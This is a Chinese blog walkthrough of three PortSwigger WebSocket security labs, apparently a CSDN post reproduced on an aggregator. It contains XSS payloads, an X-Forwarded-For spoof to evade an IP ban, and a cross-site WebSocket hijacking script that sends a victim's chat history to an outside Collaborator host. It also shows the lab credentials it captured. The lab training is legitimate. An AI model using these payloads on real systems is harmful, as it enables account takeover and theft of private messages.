【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）-Toy模板网

这篇具有很好参考价值的文章主要介绍了【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验（全）

前言：

介绍：

博主：网络安全领域狂热爱好者（承诺在CSDN永久无偿分享文章）。

殊荣：CSDN网络安全领域优质创作者，2022年双十一业务安全保卫战-某厂第一名，某厂特邀数字业务安全研究员，edusrc高白帽，vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书，华为云、阿里云、51CTO优质博主等。

擅长：对于技术、工具、漏洞原理、黑产打击的研究。

C站缘：C站的前辈，引领我度过了一个又一个技术的瓶颈期、迷茫期。

导读：

面向读者：对于网络安全方面的学者。

本文知识点（读者自测）：

（1）测试WebSockets安全漏洞（√）

（2）操纵WebSocket流量（√）

（3）跨站点WebSocket劫持（√）

一、测试WebSockets安全漏洞

1、网络套接字

2、HTTP和WebSockets区别

3、建立WebSocket连接

4、WebSocket消息外观

二、操纵WebSocket流量

1、简述：

2、拦截和修改WebSocket消息

3、重放和生成新的WebSocket消息

4、操作WebSocket连接

5、WebSockets安全漏洞

6、操纵WebSocket消息以利用漏洞

实验1：操纵WebSocket消息以利用漏洞

7、操纵WebSocket握手以利用漏洞

实验2：操纵WebSocket握手以利用漏洞

三、跨站点WebSocket劫持

1、简述：

2、影响

3、执行跨站点WebSocket劫持攻击

实验3：跨站点WebSocket劫持

一、测试WebSockets安全漏洞

1、网络套接字

1、WebSockets：通过HTTP发起的双向全双工通信协议。它们通常在现代Web应用程序中用于流数据和其他异步流量

2、HTTP和WebSockets区别

1、HTTP：Web浏览器和网站之间的大多数通信都使用HTTP。使用HTTP时，客户端发送请求，服务器返回响应。通常，响应会立即发生，并且事务完成。即使网络连接保持打开，这也将用于请求和响应的单独事务

2、WebSockets：一些现代网站使用WebSockets。WebSocket连接是通过HTTP发起的，通常是长期的。消息可以在任何时候以任一方向发送，本质上不是事务性的。在客户端或服务器准备好发送消息之前，连接通常会保持打开和空闲状态

3、优势：WebSockets在需要低延迟或服务器启动的消息的情况下特别有用，例如财务数据的实时馈送。

3、建立WebSocket连接

1、WebSocket连接通常使用客户端JavaScript创建，

示例：
var ws = new WebSocket("wss://normal-website.com/chat");

2、为了建立连接，浏览器和服务器通过HTTP执行WebSocket握手。

1、浏览器发出如下WebSocket握手请求：
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

2、如果服务器接受连接，它将返回WebSocket握手响应，如下所示：
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时，网络连接保持打开状态，可用于向任一方向发送WebSocket消息。

3、WebSocket握手消息的几个特性：

    1、请求和响应中的Connection和Upgrade标头指示这是WebSocket握手。
    2、Sec-WebSocket -Version请求头指定客户端希望使用的WebSocket协议版本。这通常是13。
    3、Sec-WebSocket -Key请求标头包含Base64编码的随机值，该值应在每个握手请求中随机生成。
    4、该 Sec-WebSocket-接受 响应标头包含在 Sec-WebSocket-密钥请求报头，与协议规范中定义的特定字符串连接。这样做是为了防止错误配置的服务器或缓存代理导致误导性响应

4、WebSocket消息外观

1、一旦建立了WebSocket连接，客户端或服务器就可以在任意方向上异步发送消息。

2、可以使用客户端JavaScript从浏览器发送一条简单的消息
示例：
ws.send("Peter Wiener");
3、原则上，WebSocket消息可以包含任何内容或数据格式。在现代应用程序中，JSON通常用于在WebSocket消息中发送结构化数据。
例如，使用WebSockets的聊天机器人应用程序可能会发送如下消息：
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

二、操纵WebSocket流量

1、简述：

1、查找WebSockets安全漏洞通常涉及以应用程序不期望的方式操作它们。可以使用Burp Suite完成此操作

2、可以使用Burp Suite：拦截和修改WebSocket消息、重放并生成新的WebSocket消息、操作WebSocket连接。

2、拦截和修改WebSocket消息

基本操作：

1、可以使用Burp代理拦截和修改WebSocket消息
示例：
    1、打开Burp的浏览器
    2、浏览到使用WebSockets的应用程序函数。您可以通过使用应用程序并查找Burp Proxy内WebSockets历史记录选项卡中显示的条目来确定WebSockets是否正在使用。
    3、在Burp Proxy的Intercept选项卡中，确保拦截功能已打开。
    4、当WebSocket消息从浏览器或服务器发送时，它将显示在“拦截”选项卡中，供您查看或修改。按“转发”按钮转发消息。
可以配置是否在Burp Proxy中拦截客户端到服务器或服务器到客户端消息。在"选项"选项卡中执行此操作，该选项卡位于拦截WebSocket消息选项。

3、重放和生成新的WebSocket消息

基本操作：

1、除了动态拦截和修改WebSocket消息之外，还可以重放单个消息并生成新消息。可以使用打BP repeater来完成此操作

2、如果想编辑和重新发送历史记录面板中的任何邮件，您可以通过选择该邮件并从上下文菜单中选择“编辑和重新发送”来完成此操作。

4、操作WebSocket连接

基础操作

1、除了操纵WebSocket消息之外，有时还需要操纵建立连接的WebSocket握手。

在各种情况下，可能需要操作WebSocket握手：
1、它可以使你到达更多的攻击面。
2、某些攻击可能会导致您的连接断开，因此您需要建立一个新的连接。
3、原始握手请求中的令牌或其他数据可能已过时，需要更新。

2、可以使用Burp Repeater操作WebSocket握手：

    1、将WebSocket消息发送到BP repeater
    2、在Burp Repeater中，单击WebSocket URL旁边的铅笔图标。这将打开一个向导，允许您附加到现有的已连接WebSocket、克隆已连接WebSocket或重新连接到已断开连接的WebSocket。
    3、如果选择克隆已连接的WebSocket或重新连接到已断开连接的WebSocket，则向导将显示WebSocket握手请求的完整详细信息，可以在执行握手之前根据需要编辑这些详细信息。
    4、当您点击“连接”时，Burp将尝试执行配置的握手并显示结果。如果成功建立了新的WebSocket连接，则可以使用此连接在Burp Repeater中发送新消息。

5、WebSockets安全漏洞

1、原则上，几乎所有Web安全漏洞都可能与WebSockets相关：

    1、传输到服务器的用户提供的输入可能会以不安全的方式进行处理，从而导致SQL注入或XML外部实体注入等漏洞。
    2、某些通过WebSockets攻击的隐蔽漏洞可能只能使用带外（OAST）技术检测。
    3、如果攻击者控制的数据通过WebSockets传输给其他应用程序用户，则可能导致XSS或其他客户端漏洞。

6、操纵WebSocket消息以利用漏洞

1、大多数影响WebSocket的基于输入的漏洞都可以通过篡改WebSocket消息的内容来发现和利用。

示例：
1、假设聊天应用程序使用WebSockets在浏览器和服务器之间发送聊天消息。当用户键入聊天消息时，将向服务器发送如下所示的WebSocket消息：
{"message":"Hello Carlos"}

2、消息的内容被传输（再次通过WebSockets）给另一个聊天用户，并在用户的浏览器中呈现如下：
<td>Hello Carlos</td>

3、在这种情况下，如果没有其他输入处理或防御措施，攻击者可以通过提交以下WebSocket消息来执行概念验证XSS攻击：
{"message":"<img src=1 onerror='alert(1)'>"}

2、涉及实验：

实验1：操纵WebSocket消息以利用漏洞

实验1：操纵WebSocket消息以利用漏洞

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、提交的聊天消息将由支持代理真实的查看。

3、解决实验：使用WebSocket消息在支持代理的浏览器中触发alert()弹出窗口

part1：

单击“实时聊天”并发送聊天消息，在Burp Proxy中，转到WebSockets历史记录选项卡，观察聊天消息是否已通过WebSocket消息发送

使用浏览器发送包含"<"字符的新邮件；在Burp Proxy中，找到相应的WebSocket消息，并观察到"<"在发送之前已经由客户端进行了HTML编码

part2：

插入payload

编辑拦截的消息以包含以下有效负载：
<img src=1 onerror='alert(1)'>
我先输入的1，然后抓包修改为payload

观察浏览器中触发了alter函数，完成实验

7、操纵WebSocket握手以利用漏洞

1、某些WebSockets漏洞只能由操纵WebSocket握手。这些漏洞往往涉及设计缺陷
示例：
1、错误地信任HTTP标头（如X-Forwarded-For标头）来执行安全决策。
2、会话处理机制中的缺陷，因为处理WebSocket消息的会话上下文通常由握手消息的会话上下文确定。
3、由应用程序使用的自定义HTTP标头引入的攻击面。
2、涉及实验：

实验2：操纵WebSocket握手以利用漏洞

实验2：操纵WebSocket握手以利用漏洞

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、它有一个激进但有缺陷的XSS过滤器。

3、解决实验：使用WebSocket消息在支持代理的浏览器中触发alert()弹出窗口

part1：

单击"实时聊天"并发送聊天消息。在Burp Proxy中，转到WebSockets历史记录选项卡，观察聊天消息是否已通过WebSocket消息发送。

右键单击邮件并选择"发送到中继器"（老版的如果不能发送到repeater，就直接拦截一次改一次）

part2：

编辑并重新发送包含基本XSS有效负载的消息
<img src=1 onerror='alert(1)'>
注意到攻击已被阻止，并且WebSocket连接已终止

单击“重新连接”，并观察到连接尝试失败，因为您的IP地址已被禁止

part2：

将以下标头添加到握手请求以欺骗您的IP地址：
X-Forwarded-For: 1.1.1.1
（老版的bp实在不能继续用下去了，换版本）

单击“连接”成功重新连接WebSocket

part3：

发送包含模糊XSS有效负载的WebSocket消息，例如：
<img src=1 oNeRrOr=alert`1`>
应该是被前端过滤器拦截编码了，在BP中修改重发，就解决了

完成实验

三、跨站点WebSocket劫持

1、简述：

1、跨站点WebSocket劫持（也称为跨源WebSocket劫持）涉及跨站点请求伪造（CSRF）上的漏洞 WebSocket握手。当WebSocket握手请求仅依赖HTTP cookie进行会话处理，并且不包含任何CSRF令牌或其他不可预测的值时，就会出现这种情况。

2、攻击者可以在自己的域中创建恶意网页，从而建立到易受攻击的应用程序的跨站点WebSocket连接。应用程序将在受害用户与应用程序的会话的上下文中处理连接；

然后，攻击者的页面可以通过连接向服务器发送任意消息，并读取从服务器接收回的消息内容。这意味着，与常规CSRF不同，攻击者获得了与受损应用程序的双向交互。

2、影响

1、成功的跨站点WebSocket劫持攻击通常可让攻击者：

    1、伪装成受害用户执行未经授权的操作。与常规CSRF一样，攻击者可以向服务器端应用程序发送任意消息。如果应用程序使用客户端生成的WebSocket消息执行任何敏感操作，则攻击者可以跨域生成适当的消息并触发这些操作。
    2、检索用户可以访问的敏感数据。与常规CSRF不同，跨站点WebSocket劫持使攻击者能够通过被劫持的WebSocket与易受攻击的应用程序进行双向交互。如果应用程序使用服务器生成的WebSocket消息向用户返回任何敏感数据，则攻击者可以拦截这些消息并捕获受害用户的数据。

3、执行跨站点WebSocket劫持攻击

1、由于跨站点WebSocket劫持攻击本质上是WebSocket握手上的CSRF漏洞，因此执行攻击的第一步是检查应用程序执行的WebSocket握手，并确定它们是否受到CSRF保护。

2、就 CSRF攻击的正常情况而言，通常需要找到一个握手消息，该消息仅依赖于HTTP cookie进行会话处理，并且在请求参数中不使用任何令牌或其他不可预测的值。
示例：
以下WebSocket握手请求可能易受CSRF攻击，因为唯一的会话令牌是在Cookie中传输的：
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

注：
Sec-WebSocket-Key标头包含一个随机值，以防止缓存代理出错，并且不用于身份验证或会话处理目的
3、如果WebSocket握手请求易受CSRF攻击，则攻击者的网页可以执行跨站点请求以打开易受攻击站点上的WebSocket。攻击中接下来会发生什么完全取决于应用程序的逻辑及其使用网络套接字。
攻击可能涉及：
1、发送WebSocket消息以代表受害用户执行未经授权的操作。
2、发送WebSocket消息以检索敏感数据。
3、有时候，只是等待包含敏感数据的传入消息到达
4、涉及实验：

实验3：跨站点WebSocket劫持

实验3：跨站点WebSocket劫持

信息：

1、网上商店有一个使用WebSockets实现的实时聊天功能

2、解决实验：使用漏洞攻击服务器托管HTML/JavaScript有效负载，该有效负载使用跨站点WebSocket劫持攻击来泄露受害者的聊天历史记录，然后使用此有效负载访问受害者的帐户

part1：

单击"实时聊天"并发送聊天消息，重新加载页面
在Burp代理的WebSockets历史选项卡中，观察"READY"命令从服务器检索过去的聊天消息

在Burp代理的HTTP历史记录选项卡中，找到WebSocket握手请求。观察请求是否没有CSRF令牌

右键单击握手请求并选择"复制URL"

part2：

在浏览器中，转到利用漏洞攻击服务器并将以下模板粘贴到"Body"部分：
<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

我的是：
<script>
    var ws = new WebSocket('wss://0a390011034ce37ac4128868009b005e.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
将自己的网络套接字url替换为网络套接字握手中的URL（实验室ID）。确保将协议从https://更改为wss://。用Burp Collaborator客户端生成的有效负载替换your-collaborator-url
bhwr3j502kct2ljwwrtofzi68xeo2d.oastify.com
单击“查看漏洞利用”（view）

在Collaborator选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过Burp Collaborator将其泄露

对于聊天中的每一条消息，Burp Collaborator都接收到一个HTTP请求。请求正文包含JSON格式的聊天消息的全部内容（这些消息的接收顺序可能不正确）

检查这些消息，其中一条消息包含受害者的用户名和密码
carlos
i0h9n4jqwxg3qeqxbfzy
part3：

使用溢出的凭据登录受攻击用户的帐户

完成实验